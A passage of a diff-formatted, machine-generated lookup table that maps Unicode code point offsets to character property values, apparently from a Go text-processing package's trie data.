0x12b6: 0x00c0, 0x12b7: 0x00c0, 0x12b8: 0x00c0, 0x12b9: 0x00c0, 0x12ba: 0x00c0, 0x12bb: 0x00c0, + 0x12bc: 0x00c0, 0x12bd: 0x00c0, 0x12be: 0x00c0, 0x12bf: 0x00c0, + // Block 0x4b, offset 0x12c0 + 0x12c0: 0x00c0, 0x12c1: 0x00c0, 0x12c2: 0x00c0, 0x12c3: 0x00c0, 0x12c4: 0x00c0, 0x12c5: 0x00c0, + 0x12c6: 0x00c0, 0x12c7: 0x00c0, 0x12c8: 0x00c0, 0x12c9: 0x00c0, 0x12ca: 0x00c0, 0x12cb: 0x00c0, + 0x12cc: 0x00c0, 0x12cd: 0x00c0, 0x12ce: 0x00c0, 0x12cf: 0x00c0, 0x12d0: 0x00c0, 0x12d1: 0x00c0, + 0x12d2: 0x00c0, 0x12d3: 0x00c0, 0x12d4: 0x00c0, 0x12d5: 0x00c0, 0x12d6: 0x00c0, 0x12d7: 0x00c0, + 0x12d8: 0x00c0, 0x12d9: 0x00c0, 0x12da: 0x00c0, 0x12db: 0x00c0, 0x12dc: 0x00c0, 0x12dd: 0x00c0, + 0x12de: 0x00c0, 0x12df: 0x00c0, 0x12e0: 0x00c0, 0x12e1: 0x00c0, 0x12e2: 0x00c0, 0x12e3: 0x00c0, + 0x12e4: 0x00c0, 0x12e5: 0x00c0, 0x12e6: 0x00c0, 0x12e7: 0x00c0, 0x12e8: 0x00c0, 0x12e9: 0x00c0, + 0x12ea: 0x00c0, 0x12eb: 0x0080, 0x12ec: 0x0080, 0x12ed: 0x0080, 0x12ee: 0x0080, 0x12ef: 0x0080, + 0x12f0: 0x0080, 0x12f1: 0x00c0, 0x12f2: 0x00c0, 0x12f3: 0x00c0, 0x12f4: 0x00c0, 0x12f5: 0x00c0, + 0x12f6: 0x00c0, 0x12f7: 0x00c0, 0x12f8: 0x00c0, + // Block 0x4c, offset 0x1300 + 0x1300: 0x00c0, 0x1301: 0x00c0, 0x1302: 0x00c0, 0x1303: 0x00c0, 0x1304: 0x00c0, 0x1305: 0x00c0, + 0x1306: 0x00c0, 0x1307: 0x00c0, 0x1308: 0x00c0, 0x1309: 0x00c0, 0x130a: 0x00c0, 0x130b: 0x00c0, + 0x130c: 0x00c0, 0x130d: 0x00c0, 0x130e: 0x00c0, 0x130f: 0x00c0, 0x1310: 0x00c0, 0x1311: 0x00c0, + 0x1312: 0x00c3, 0x1313: 0x00c3, 0x1314: 0x00c6, 0x1315: 0x00c5, + 0x131f: 0x00c0, 0x1320: 0x00c0, 0x1321: 0x00c0, 0x1322: 0x00c0, 0x1323: 0x00c0, + 0x1324: 0x00c0, 0x1325: 0x00c0, 0x1326: 0x00c0, 0x1327: 0x00c0, 0x1328: 0x00c0, 0x1329: 0x00c0, + 0x132a: 0x00c0, 0x132b: 0x00c0, 0x132c: 0x00c0, 0x132d: 0x00c0, 0x132e: 0x00c0, 0x132f: 0x00c0, + 0x1330: 0x00c0, 0x1331: 0x00c0, 0x1332: 0x00c3, 0x1333: 0x00c3, 0x1334: 0x00c5, 0x1335: 0x0080, + 0x1336: 0x0080, + // Block 0x4d, offset 0x1340 + 0x1340: 0x00c0, 0x1341: 0x00c0, 0x1342: 0x00c0, 0x1343: 0x00c0, 0x1344: 0x00c0, 0x1345: 0x00c0, + 0x1346: 0x00c0, 0x1347: 0x00c0, 0x1348: 0x00c0, 0x1349: 0x00c0, 0x134a: 0x00c0, 0x134b: 0x00c0, + 0x134c: 0x00c0, 0x134d: 0x00c0, 0x134e: 0x00c0, 0x134f: 0x00c0, 0x1350: 0x00c0, 0x1351: 0x00c0, + 0x1352: 0x00c3, 0x1353: 0x00c3, + 0x1360: 0x00c0, 0x1361: 0x00c0, 0x1362: 0x00c0, 0x1363: 0x00c0, + 0x1364: 0x00c0, 0x1365: 0x00c0, 0x1366: 0x00c0, 0x1367: 0x00c0, 0x1368: 0x00c0, 0x1369: 0x00c0, + 0x136a: 0x00c0, 0x136b: 0x00c0, 0x136c: 0x00c0, 0x136e: 0x00c0, 0x136f: 0x00c0, + 0x1370: 0x00c0, 0x1372: 0x00c3, 0x1373: 0x00c3, + // Block 0x4e, offset 0x1380 + 0x1380: 0x00c0, 0x1381: 0x00c0, 0x1382: 0x00c0, 0x1383: 0x00c0, 0x1384: 0x00c0, 0x1385: 0x00c0, + 0x1386: 0x00c0, 0x1387: 0x00c0, 0x1388: 0x00c0, 0x1389: 0x00c0, 0x138a: 0x00c0, 0x138b: 0x00c0, + 0x138c: 0x00c0, 0x138d: 0x00c0, 0x138e: 0x00c0, 0x138f: 0x00c0, 0x1390: 0x00c0, 0x1391: 0x00c0, + 0x1392: 0x00c0, 0x1393: 0x00c0, 0x1394: 0x00c0, 0x1395: 0x00c0, 0x1396: 0x00c0, 0x1397: 0x00c0, + 0x1398: 0x00c0, 0x1399: 0x00c0, 0x139a: 0x00c0, 0x139b: 0x00c0, 0x139c: 0x00c0, 0x139d: 0x00c0, + 0x139e: 0x00c0, 0x139f: 0x00c0, 0x13a0: 0x00c0, 0x13a1: 0x00c0, 0x13a2: 0x00c0, 0x13a3: 0x00c0, + 0x13a4: 0x00c0, 0x13a5: 0x00c0, 0x13a6: 0x00c0, 0x13a7: 0x00c0, 0x13a8: 0x00c0, 0x13a9: 0x00c0, + 0x13aa: 0x00c0, 0x13ab: 0x00c0, 0x13ac: 0x00c0, 0x13ad: 0x00c0, 0x13ae: 0x00c0, 0x13af: 0x00c0, + 0x13b0: 0x00c0, 0x13b1: 0x00c0, 0x13b2: 0x00c0, 0x13b3: 0x00c0, 0x13b4: 0x0040, 0x13b5: 0x0040, + 0x13b6: 0x00c0, 0x13b7: 0x00c3, 0x13b8: 0x00c3, 0x13b9: 0x00c3, 0x13ba: 0x00c3, 0x13bb: 0x00c3, + 0x13bc: 0x00c3, 0x13bd: 0x00c3, 0x13be: 0x00c0, 0x13bf: 0x00c0, + // Block 0x4f, offset 0x13c0 + 0x13c0: 0x00c0, 0x13c1: 0x00c0, 0x13c2: 0x00c0, 0x13c3: 0x00c0, 0x13c4: 0x00c0, 0x13c5: 0x00c0, + 0x13c6: 0x00c3, 0x13c7: 0x00c0, 0x13c8: 0x00c0, 0x13c9: 0x00c3, 0x13ca: 0x00c3, 0x13cb: 0x00c3, + 0x13cc: 0x00c3, 0x13cd: 0x00c3, 0x13ce: 0x00c3, 0x13cf: 0x00c3, 0x13d0: 0x00c3, 0x13d1: 0x00c3, + 0x13d2: 0x00c6, 0x13d3: 0x00c3, 0x13d4: 0x0080, 0x13d5: 0x0080, 0x13d6: 0x0080, 0x13d7: 0x00c0, + 0x13d8: 0x0080, 0x13d9: 0x0080, 0x13da: 0x0080, 0x13db: 0x0080, 0x13dc: 0x00c0, 0x13dd: 0x00c3, + 0x13e0: 0x00c0, 0x13e1: 0x00c0, 0x13e2: 0x00c0, 0x13e3: 0x00c0, + 0x13e4: 0x00c0, 0x13e5: 0x00c0, 0x13e6: 0x00c0, 0x13e7: 0x00c0, 0x13e8: 0x00c0, 0x13e9: 0x00c0, + 0x13f0: 0x0080, 0x13f1: 0x0080, 0x13f2: 0x0080, 0x13f3: 0x0080, 0x13f4: 0x0080, 0x13f5: 0x0080, + 0x13f6: 0x0080, 0x13f7: 0x0080, 0x13f8: 0x0080, 0x13f9: 0x0080, + // Block 0x50, offset 0x1400 + 0x1400: 0x0080, 0x1401: 0x0080, 0x1402: 0x0080, 0x1403: 0x0080, 0x1404: 0x0080, 0x1405: 0x0080, + 0x1406: 0x0080, 0x1407: 0x0082, 0x1408: 0x0080, 0x1409: 0x0080, 0x140a: 0x0080, 0x140b: 0x0040, + 0x140c: 0x0040, 0x140d: 0x0040, 0x140e: 0x0040, 0x140f: 0x0040, 0x1410: 0x00c0, 0x1411: 0x00c0, + 0x1412: 0x00c0, 0x1413: 0x00c0, 0x1414: 0x00c0, 0x1415: 0x00c0, 0x1416: 0x00c0, 0x1417: 0x00c0, + 0x1418: 0x00c0, 0x1419: 0x00c0, + 0x1420: 0x00c2, 0x1421: 0x00c2, 0x1422: 0x00c2, 0x1423: 0x00c2, + 0x1424: 0x00c2, 0x1425: 0x00c2, 0x1426: 0x00c2, 0x1427: 0x00c2, 0x1428: 0x00c2, 0x1429: 0x00c2, + 0x142a: 0x00c2, 0x142b: 0x00c2, 0x142c: 0x00c2, 0x142d: 0x00c2, 0x142e: 0x00c2, 0x142f: 0x00c2, + 0x1430: 0x00c2, 0x1431: 0x00c2, 0x1432: 0x00c2, 0x1433: 0x00c2, 0x1434: 0x00c2, 0x1435: 0x00c2, + 0x1436: 0x00c2, 0x1437: 0x00c2, 0x1438: 0x00c2, 0x1439: 0x00c2, 0x143a: 0x00c2, 0x143b: 0x00c2, + 0x143c: 0x00c2, 0x143d: 0x00c2, 0x143e: 0x00c2, 0x143f: 0x00c2, + // Block 0x51, offset 0x1440 + 0x1440: 0x00c2, 0x1441: 0x00c2, 0x1442: 0x00c2, 0x1443: 0x00c2, 0x1444: 0x00c2, 0x1445: 0x00c2, + 0x1446: 0x00c2, 0x1447: 0x00c2, 0x1448: 0x00c2, 0x1449: 0x00c2, 0x144a: 0x00c2, 0x144b: 0x00c2, + 0x144c: 0x00c2, 0x144d: 0x00c2, 0x144e: 0x00c2, 0x144f: 0x00c2, 0x1450: 0x00c2, 0x1451: 0x00c2, + 0x1452: 0x00c2, 0x1453: 0x00c2, 0x1454: 0x00c2, 0x1455: 0x00c2, 0x1456: 0x00c2, 0x1457: 0x00c2, + 0x1458: 0x00c2, 0x1459: 0x00c2, 0x145a: 0x00c2, 0x145b: 0x00c2, 0x145c: 0x00c2, 0x145d: 0x00c2, + 0x145e: 0x00c2, 0x145f: 0x00c2, 0x1460: 0x00c2, 0x1461: 0x00c2, 0x1462: 0x00c2, 0x1463: 0x00c2, + 0x1464: 0x00c2, 0x1465: 0x00c2, 0x1466: 0x00c2, 0x1467: 0x00c2, 0x1468: 0x00c2, 0x1469: 0x00c2, + 0x146a: 0x00c2, 0x146b: 0x00c2, 0x146c: 0x00c2, 0x146d: 0x00c2, 0x146e: 0x00c2, 0x146f: 0x00c2, + 0x1470: 0x00c2, 0x1471: 0x00c2, 0x1472: 0x00c2, 0x1473: 0x00c2, 0x1474: 0x00c2, 0x1475: 0x00c2, + 0x1476: 0x00c2, 0x1477: 0x00c2, 0x1478: 0x00c2, + // Block 0x52, offset 0x1480 + 0x1480: 0x00c0, 0x1481: 0x00c0, 0x1482: 0x00c0, 0x1483: 0x00c0, 0x1484: 0x00c0, 0x1485: 0x00c3, + 0x1486: 0x00c3, 0x1487: 0x00c2, 0x1488: 0x00c2, 0x1489: 0x00c2, 0x148a: 0x00c2, 0x148b: 0x00c2, + 0x148c: 0x00c2, 0x148d: 0x00c2, 0x148e: 0x00c2, 0x148f: 0x00c2, 0x1490: 0x00c2, 0x1491: 0x00c2, + 0x1492: 0x00c2, 0x1493: 0x00c2, 0x1494: 0x00c2, 0x1495: 0x00c2, 0x1496: 0x00c2, 0x1497: 0x00c2, + 0x1498: 0x00c2, 0x1499: 0x00c2, 0x149a: 0x00c2, 0x149b: 0x00c2, 0x149c: 0x00c2, 0x149d: 0x00c2, + 0x149e: 0x00c2, 0x149f: 0x00c2, 0x14a0: 0x00c2, 0x14a1: 0x00c2, 0x14a2: 0x00c2, 0x14a3: 0x00c2, + 0x14a4: 0x00c2, 0x14a5: 0x00c2, 0x14a6: 0x00c2, 0x14a7: 0x00c2, 0x14a8: 0x00c2, 0x14a9: 0x00c3, + 0x14aa: 0x00c2, + 0x14b0: 0x00c0, 0x14b1: 0x00c0, 0x14b2: 0x00c0, 0x14b3: 0x00c0, 0x14b4: 0x00c0, 0x14b5: 0x00c0, + 0x14b6: 0x00c0, 0x14b7: 0x00c0, 0x14b8: 0x00c0, 0x14b9: 0x00c0, 0x14ba: 0x00c0, 0x14bb: 0x00c0, + 0x14bc: 0x00c0, 0x14bd: 0x00c0, 0x14be: 0x00c0, 0x14bf: 0x00c0, + // Block 0x53, offset 0x14c0 + 0x14c0: 0x00c0, 0x14c1: 0x00c0, 0x14c2: 0x00c0, 0x14c3: 0x00c0, 0x14c4: 0x00c0, 0x14c5: 0x00c0, + 0x14c6: 0x00c0, 0x14c7: 0x00c0, 0x14c8: 0x00c0, 0x14c9: 0x00c0, 0x14ca: 0x00c0, 0x14cb: 0x00c0, + 0x14cc: 0x00c0, 0x14cd: 0x00c0, 0x14ce: 0x00c0, 0x14cf: 0x00c0, 0x14d0: 0x00c0, 0x14d1: 0x00c0, + 0x14d2: 0x00c0, 0x14d3: 0x00c0, 0x14d4: 0x00c0, 0x14d5: 0x00c0, 0x14d6: 0x00c0, 0x14d7: 0x00c0, + 0x14d8: 0x00c0, 0x14d9: 0x00c0, 0x14da: 0x00c0, 0x14db: 0x00c0, 0x14dc: 0x00c0, 0x14dd: 0x00c0, + 0x14de: 0x00c0, 0x14df: 0x00c0, 0x14e0: 0x00c0, 0x14e1: 0x00c0, 0x14e2: 0x00c0, 0x14e3: 0x00c0, + 0x14e4: 0x00c0, 0x14e5: 0x00c0, 0x14e6: 0x00c0, 0x14e7: 0x00c0, 0x14e8: 0x00c0, 0x14e9: 0x00c0, + 0x14ea: 0x00c0, 0x14eb: 0x00c0, 0x14ec: 0x00c0, 0x14ed: 0x00c0, 0x14ee: 0x00c0, 0x14ef: 0x00c0, + 0x14f0: 0x00c0, 0x14f1: 0x00c0, 0x14f2: 0x00c0, 0x14f3: 0x00c0, 0x14f4: 0x00c0, 0x14f5: 0x00c0, + // Block 0x54, offset 0x1500 + 0x1500: 0x00c0, 0x1501: 0x00c0, 0x1502: 0x00c0, 0x1503: 0x00c0, 0x1504: 0x00c0, 0x1505: 0x00c0, + 0x1506: 0x00c0, 0x1507: 0x00c0, 0x1508: 0x00c0, 0x1509: 0x00c0, 0x150a: 0x00c0, 0x150b: 0x00c0, + 0x150c: 0x00c0, 0x150d: 0x00c0, 0x150e: 0x00c0, 0x150f: 0x00c0, 0x1510: 0x00c0, 0x1511: 0x00c0, + 0x1512: 0x00c0, 0x1513: 0x00c0, 0x1514: 0x00c0, 0x1515: 0x00c0, 0x1516: 0x00c0, 0x1517: 0x00c0, + 0x1518: 0x00c0, 0x1519: 0x00c0, 0x151a: 0x00c0, 0x151b: 0x00c0, 0x151c: 0x00c0, 0x151d: 0x00c0, + 0x151e: 0x00c0, 0x1520: 0x00c3, 0x1521: 0x00c3, 0x1522: 0x00c3, 0x1523: 0x00c0, + 0x1524: 0x00c0, 0x1525: 0x00c0, 0x1526: 0x00c0, 0x1527: 0x00c3, 0x1528: 0x00c3, 0x1529: 0x00c0, + 0x152a: 0x00c0, 0x152b: 0x00c0, + 0x1530: 0x00c0, 0x1531: 0x00c0, 0x1532: 0x00c3, 0x1533: 0x00c0, 0x1534: 0x00c0, 0x1535: 0x00c0, + 0x1536: 0x00c0, 0x1537: 0x00c0, 0x1538: 0x00c0, 0x1539: 0x00c3, 0x153a: 0x00c3, 0x153b: 0x00c3, + // Block 0x55, offset 0x1540 + 0x1540: 0x0080, 0x1544: 0x0080, 0x1545: 0x0080, + 0x1546: 0x00c0, 0x1547: 0x00c0, 0x1548: 0x00c0, 0x1549: 0x00c0, 0x154a: 0x00c0, 0x154b: 0x00c0, + 0x154c: 0x00c0, 0x154d: 0x00c0, 0x154e: 0x00c0, 0x154f: 0x00c0, 0x1550: 0x00c0, 0x1551: 0x00c0, + 0x1552: 0x00c0, 0x1553: 0x00c0, 0x1554: 0x00c0, 0x1555: 0x00c0, 0x1556: 0x00c0, 0x1557: 0x00c0, + 0x1558: 0x00c0, 0x1559: 0x00c0, 0x155a: 0x00c0, 0x155b: 0x00c0, 0x155c: 0x00c0, 0x155d: 0x00c0, + 0x155e: 0x00c0, 0x155f: 0x00c0, 0x1560: 0x00c0, 0x1561: 0x00c0, 0x1562: 0x00c0, 0x1563: 0x00c0, + 0x1564: 0x00c0, 0x1565: 0x00c0, 0x1566: 0x00c0, 0x1567: 0x00c0, 0x1568: 0x00c0, 0x1569: 0x00c0, + 0x156a: 0x00c0, 0x156b: 0x00c0, 0x156c: 0x00c0, 0x156d: 0x00c0, + 0x1570: 0x00c0, 0x1571: 0x00c0, 0x1572: 0x00c0, 0x1573: 0x00c0, 0x1574: 0x00c0, + // Block 0x56, offset 0x1580 + 0x1580: 0x00c0, 0x1581: 0x00c0, 0x1582: 0x00c0, 0x1583: 0x00c0, 0x1584: 0x00c0, 0x1585: 0x00c0, + 0x1586: 0x00c0, 0x1587: 0x00c0, 0x1588: 0x00c0, 0x1589: 0x00c0, 0x158a: 0x00c0, 0x158b: 0x00c0, + 0x158c: 0x00c0, 0x158d: 0x00c0, 0x158e: 0x00c0, 0x158f: 0x00c0, 0x1590: 0x00c0, 0x1591: 0x00c0, + 0x1592: 0x00c0, 0x1593: 0x00c0, 0x1594: 0x00c0, 0x1595: 0x00c0, 0x1596: 0x00c0, 0x1597: 0x00c0, + 0x1598: 0x00c0, 0x1599: 0x00c0, 0x159a: 0x00c0, 0x159b: 0x00c0, 0x159c: 0x00c0, 0x159d: 0x00c0, + 0x159e: 0x00c0, 0x159f: 0x00c0, 0x15a0: 0x00c0, 0x15a1: 0x00c0, 0x15a2: 0x00c0, 0x15a3: 0x00c0, + 0x15a4: 0x00c0, 0x15a5: 0x00c0, 0x15a6: 0x00c0, 0x15a7: 0x00c0, 0x15a8: 0x00c0, 0x15a9: 0x00c0, + 0x15aa: 0x00c0, 0x15ab: 0x00c0, + 0x15b0: 0x00c0, 0x15b1: 0x00c0, 0x15b2: 0x00c0, 0x15b3: 0x00c0, 0x15b4: 0x00c0, 0x15b5: 0x00c0, + 0x15b6: 0x00c0, 0x15b7: 0x00c0, 0x15b8: 0x00c0, 0x15b9: 0x00c0, 0x15ba: 0x00c0, 0x15bb: 0x00c0, + 0x15bc: 0x00c0, 0x15bd: 0x00c0, 0x15be: 0x00c0, 0x15bf: 0x00c0, + // Block 0x57, offset 0x15c0 + 0x15c0: 0x00c0, 0x15c1: 0x00c0, 0x15c2: 0x00c0, 0x15c3: 0x00c0, 0x15c4: 0x00c0, 0x15c5: 0x00c0, + 0x15c6: 0x00c0, 0x15c7: 0x00c0, 0x15c8: 0x00c0, 0x15c9: 0x00c0, + 0x15d0: 0x00c0, 0x15d1: 0x00c0, + 0x15d2: 0x00c0, 0x15d3: 0x00c0, 0x15d4: 0x00c0, 0x15d5: 0x00c0, 0x15d6: 0x00c0, 0x15d7: 0x00c0, + 0x15d8: 0x00c0, 0x15d9: 0x00c0, 0x15da: 0x0080, + 0x15de: 0x0080, 0x15df: 0x0080, 0x15e0: 0x0080, 0x15e1: 0x0080, 0x15e2: 0x0080, 0x15e3: 0x0080, + 0x15e4: 0x0080, 0x15e5: 0x0080, 0x15e6: 0x0080, 0x15e7: 0x0080, 0x15e8: 0x0080, 0x15e9: 0x0080, + 0x15ea: 0x0080, 0x15eb: 0x0080, 0x15ec: 0x0080, 0x15ed: 0x0080, 0x15ee: 0x0080, 0x15ef: 0x0080, + 0x15f0: 0x0080, 0x15f1: 0x0080, 0x15f2: 0x0080, 0x15f3: 0x0080, 0x15f4: 0x0080, 0x15f5: 0x0080, + 0x15f6: 0x0080, 0x15f7: 0x0080, 0x15f8: 0x0080, 0x15f9: 0x0080, 0x15fa: 0x0080, 0x15fb: 0x0080, + 0x15fc: 0x0080, 0x15fd: 0x0080, 0x15fe: 0x0080, 0x15ff: 0x0080, + // Block 0x58, offset 0x1600 + 0x1600: 0x00c0, 0x1601: 0x00c0, 0x1602: 0x00c0, 0x1603: 0x00c0, 0x1604: 0x00c0, 0x1605: 0x00c0, + 0x1606: 0x00c0, 0x1607: 0x00c0, 0x1608: 0x00c0, 0x1609: 0x00c0, 0x160a: 0x00c0, 0x160b: 0x00c0, + 0x160c: 0x00c0, 0x160d: 0x00c0, 0x160e: 0x00c0, 0x160f: 0x00c0, 0x1610: 0x00c0, 0x1611: 0x00c0, + 0x1612: 0x00c0, 0x1613: 0x00c0, 0x1614: 0x00c0, 0x1615: 0x00c0, 0x1616: 0x00c0, 0x1617: 0x00c3, + 0x1618: 0x00c3, 0x1619: 0x00c0, 0x161a: 0x00c0, 0x161b: 0x00c3, + 0x161e: 0x0080, 0x161f: 0x0080, 0x1620: 0x00c0, 0x1621: 0x00c0, 0x1622: 0x00c0, 0x1623: 0x00c0, + 0x1624: 0x00c0, 0x1625: 0x00c0, 0x1626: 0x00c0, 0x1627: 0x00c0, 0x1628: 0x00c0, 0x1629: 0x00c0, + 0x162a: 0x00c0, 0x162b: 0x00c0, 0x162c: 0x00c0, 0x162d: 0x00c0, 0x162e: 0x00c0, 0x162f: 0x00c0, + 0x1630: 0x00c0, 0x1631: 0x00c0, 0x1632: 0x00c0, 0x1633: 0x00c0, 0x1634: 0x00c0, 0x1635: 0x00c0, + 0x1636: 0x00c0, 0x1637: 0x00c0, 0x1638: 0x00c0, 0x1639: 0x00c0, 0x163a: 0x00c0, 0x163b: 0x00c0, + 0x163c: 0x00c0, 0x163d: 0x00c0, 0x163e: 0x00c0, 0x163f: 0x00c0, + // Block 0x59, offset 0x1640 + 0x1640: 0x00c0, 0x1641: 0x00c0, 0x1642: 0x00c0, 0x1643: 0x00c0, 0x1644: 0x00c0, 0x1645: 0x00c0, + 0x1646: 0x00c0, 0x1647: 0x00c0, 0x1648: 0x00c0, 0x1649: 0x00c0, 0x164a: 0x00c0, 0x164b: 0x00c0, + 0x164c: 0x00c0, 0x164d: 0x00c0, 0x164e: 0x00c0, 0x164f: 0x00c0, 0x1650: 0x00c0, 0x1651: 0x00c0, + 0x1652: 0x00c0, 0x1653: 0x00c0, 0x1654: 0x00c0, 0x1655: 0x00c0, 0x1656: 0x00c3, 0x1657: 0x00c0, + 0x1658: 0x00c3, 0x1659: 0x00c3, 0x165a: 0x00c3, 0x165b: 0x00c3, 0x165c: 0x00c3, 0x165d: 0x00c3, + 0x165e: 0x00c3, 0x1660: 0x00c6, 0x1661: 0x00c0, 0x1662: 0x00c3, 0x1663: 0x00c0, + 0x1664: 0x00c0, 0x1665: 0x00c3, 0x1666: 0x00c3, 0x1667: 0x00c3, 0x1668: 0x00c3, 0x1669: 0x00c3, + 0x166a: 0x00c3, 0x166b: 0x00c3, 0x166c: 0x00c3, 0x166d: 0x00c0, 0x166e: 0x00c0, 0x166f: 0x00c0, + 0x1670: 0x00c0, 0x1671: 0x00c0, 0x1672: 0x00c0, 0x1673: 0x00c3, 0x1674: 0x00c3, 0x1675: 0x00c3, + 0x1676: 0x00c3, 0x1677: 0x00c3, 0x1678: 0x00c3, 0x1679: 0x00c3, 0x167a: 0x00c3, 0x167b: 0x00c3, + 0x167c: 0x00c3, 0x167f: 0x00c3, + // Block 0x5a, offset 0x1680 + 0x1680: 0x00c0, 0x1681: 0x00c0, 0x1682: 0x00c0, 0x1683: 0x00c0, 0x1684: 0x00c0, 0x1685: 0x00c0, + 0x1686: 0x00c0, 0x1687: 0x00c0, 0x1688: 0x00c0, 0x1689: 0x00c0, + 0x1690: 0x00c0, 0x1691: 0x00c0, + 0x1692: 0x00c0, 0x1693: 0x00c0, 0x1694: 0x00c0, 0x1695: 0x00c0, 0x1696: 0x00c0, 0x1697: 0x00c0, + 0x1698: 0x00c0, 0x1699: 0x00c0, + 0x16a0: 0x0080, 0x16a1: 0x0080, 0x16a2: 0x0080, 0x16a3: 0x0080, + 0x16a4: 0x0080, 0x16a5: 0x0080, 0x16a6: 0x0080, 0x16a7: 0x00c0, 0x16a8: 0x0080, 0x16a9: 0x0080, + 0x16aa: 0x0080, 0x16ab: 0x0080, 0x16ac: 0x0080, 0x16ad: 0x0080, + 0x16b0: 0x00c3, 0x16b1: 0x00c3, 0x16b2: 0x00c3, 0x16b3: 0x00c3, 0x16b4: 0x00c3, 0x16b5: 0x00c3, + 0x16b6: 0x00c3, 0x16b7: 0x00c3, 0x16b8: 0x00c3, 0x16b9: 0x00c3, 0x16ba: 0x00c3, 0x16bb: 0x00c3, + 0x16bc: 0x00c3, 0x16bd: 0x00c3, 0x16be: 0x0083, 0x16bf: 0x00c3, + // Block 0x5b, offset 0x16c0 + 0x16c0: 0x00c3, 0x16c1: 0x00c3, 0x16c2: 0x00c3, 0x16c3: 0x00c3, 0x16c4: 0x00c3, 0x16c5: 0x00c3, + 0x16c6: 0x00c3, 0x16c7: 0x00c3, 0x16c8: 0x00c3, 0x16c9: 0x00c3, 0x16ca: 0x00c3, 0x16cb: 0x00c3, + 0x16cc: 0x00c3, 0x16cd: 0x00c3, 0x16ce: 0x00c3, + // Block 0x5c, offset 0x1700 + 0x1700: 0x00c3, 0x1701: 0x00c3, 0x1702: 0x00c3, 0x1703: 0x00c3, 0x1704: 0x00c0, 0x1705: 0x00c0, + 0x1706: 0x00c0, 0x1707: 0x00c0, 0x1708: 0x00c0, 0x1709: 0x00c0, 0x170a: 0x00c0, 0x170b: 0x00c0, + 0x170c: 0x00c0, 0x170d: 0x00c0, 0x170e: 0x00c0, 0x170f: 0x00c0, 0x1710: 0x00c0, 0x1711: 0x00c0, + 0x1712: 0x00c0, 0x1713: 0x00c0, 0x1714: 0x00c0, 0x1715: 0x00c0, 0x1716: 0x00c0, 0x1717: 0x00c0, + 0x1718: 0x00c0, 0x1719: 0x00c0, 0x171a: 0x00c0, 0x171b: 0x00c0, 0x171c: 0x00c0, 0x171d: 0x00c0, + 0x171e: 0x00c0, 0x171f: 0x00c0, 0x1720: 0x00c0, 0x1721: 0x00c0, 0x1722: 0x00c0, 0x1723: 0x00c0, + 0x1724: 0x00c0, 0x1725: 0x00c0, 0x1726: 0x00c0, 0x1727: 0x00c0, 0x1728: 0x00c0, 0x1729: 0x00c0, + 0x172a: 0x00c0, 0x172b: 0x00c0, 0x172c: 0x00c0, 0x172d: 0x00c0, 0x172e: 0x00c0, 0x172f: 0x00c0, + 0x1730: 0x00c0, 0x1731: 0x00c0, 0x1732: 0x00c0, 0x1733: 0x00c0, 0x1734: 0x00c3, 0x1735: 0x00c0, + 0x1736: 0x00c3, 0x1737: 0x00c3, 0x1738: 0x00c3, 0x1739: 0x00c3, 0x173a: 0x00c3, 0x173b: 0x00c0, + 0x173c: 0x00c3, 0x173d: 0x00c0, 0x173e: 0x00c0, 0x173f: 0x00c0, + // Block 0x5d, offset 0x1740 + 0x1740: 0x00c0, 0x1741: 0x00c0, 0x1742: 0x00c3, 0x1743: 0x00c0, 0x1744: 0x00c5, 0x1745: 0x00c0, + 0x1746: 0x00c0, 0x1747: 0x00c0, 0x1748: 0x00c0, 0x1749: 0x00c0, 0x174a: 0x00c0, 0x174b: 0x00c0, + 0x174c: 0x00c0, 0x1750: 0x00c0, 0x1751: 0x00c0, + 0x1752: 0x00c0, 0x1753: 0x00c0, 0x1754: 0x00c0, 0x1755: 0x00c0, 0x1756: 0x00c0, 0x1757: 0x00c0, + 0x1758: 0x00c0, 0x1759: 0x00c0, 0x175a: 0x0080, 0x175b: 0x0080, 0x175c: 0x0080, 0x175d: 0x0080, + 0x175e: 0x0080, 0x175f: 0x0080, 0x1760: 0x0080, 0x1761: 0x0080, 0x1762: 0x0080, 0x1763: 0x0080, + 0x1764: 0x0080, 0x1765: 0x0080, 0x1766: 0x0080, 0x1767: 0x0080, 0x1768: 0x0080, 0x1769: 0x0080, + 0x176a: 0x0080, 0x176b: 0x00c3, 0x176c: 0x00c3, 0x176d: 0x00c3, 0x176e: 0x00c3, 0x176f: 0x00c3, + 0x1770: 0x00c3, 0x1771: 0x00c3, 0x1772: 0x00c3, 0x1773: 0x00c3, 0x1774: 0x0080, 0x1775: 0x0080, + 0x1776: 0x0080, 0x1777: 0x0080, 0x1778: 0x0080, 0x1779: 0x0080, 0x177a: 0x0080, 0x177b: 0x0080, + 0x177c: 0x0080, 0x177d: 0x0080, 0x177e: 0x0080, + // Block 0x5e, offset 0x1780 + 0x1780: 0x00c3, 0x1781: 0x00c3, 0x1782: 0x00c0, 0x1783: 0x00c0, 0x1784: 0x00c0, 0x1785: 0x00c0, + 0x1786: 0x00c0, 0x1787: 0x00c0, 0x1788: 0x00c0, 0x1789: 0x00c0, 0x178a: 0x00c0, 0x178b: 0x00c0, + 0x178c: 0x00c0, 0x178d: 0x00c0, 0x178e: 0x00c0, 0x178f: 0x00c0, 0x1790: 0x00c0, 0x1791: 0x00c0, + 0x1792: 0x00c0, 0x1793: 0x00c0, 0x1794: 0x00c0, 0x1795: 0x00c0, 0x1796: 0x00c0, 0x1797: 0x00c0, + 0x1798: 0x00c0, 0x1799: 0x00c0, 0x179a: 0x00c0, 0x179b: 0x00c0, 0x179c: 0x00c0, 0x179d: 0x00c0, + 0x179e: 0x00c0, 0x179f: 0x00c0, 0x17a0: 0x00c0, 0x17a1: 0x00c0, 0x17a2: 0x00c3, 0x17a3: 0x00c3, + 0x17a4: 0x00c3, 0x17a5: 0x00c3, 0x17a6: 0x00c0, 0x17a7: 0x00c0, 0x17a8: 0x00c3, 0x17a9: 0x00c3, + 0x17aa: 0x00c5, 0x17ab: 0x00c6, 0x17ac: 0x00c3, 0x17ad: 0x00c3, 0x17ae: 0x00c0, 0x17af: 0x00c0, + 0x17b0: 0x00c0, 0x17b1: 0x00c0, 0x17b2: 0x00c0, 0x17b3: 0x00c0, 0x17b4: 0x00c0, 0x17b5: 0x00c0, + 0x17b6: 0x00c0, 0x17b7: 0x00c0, 0x17b8: 0x00c0, 0x17b9: 0x00c0, 0x17ba: 0x00c0, 0x17bb: 0x00c0, + 0x17bc: 0x00c0, 0x17bd: 0x00c0, 0x17be: 0x00c0, 0x17bf: 0x00c0, + // Block 0x5f, offset 0x17c0 + 0x17c0: 0x00c0, 0x17c1: 0x00c0, 0x17c2: 0x00c0, 0x17c3: 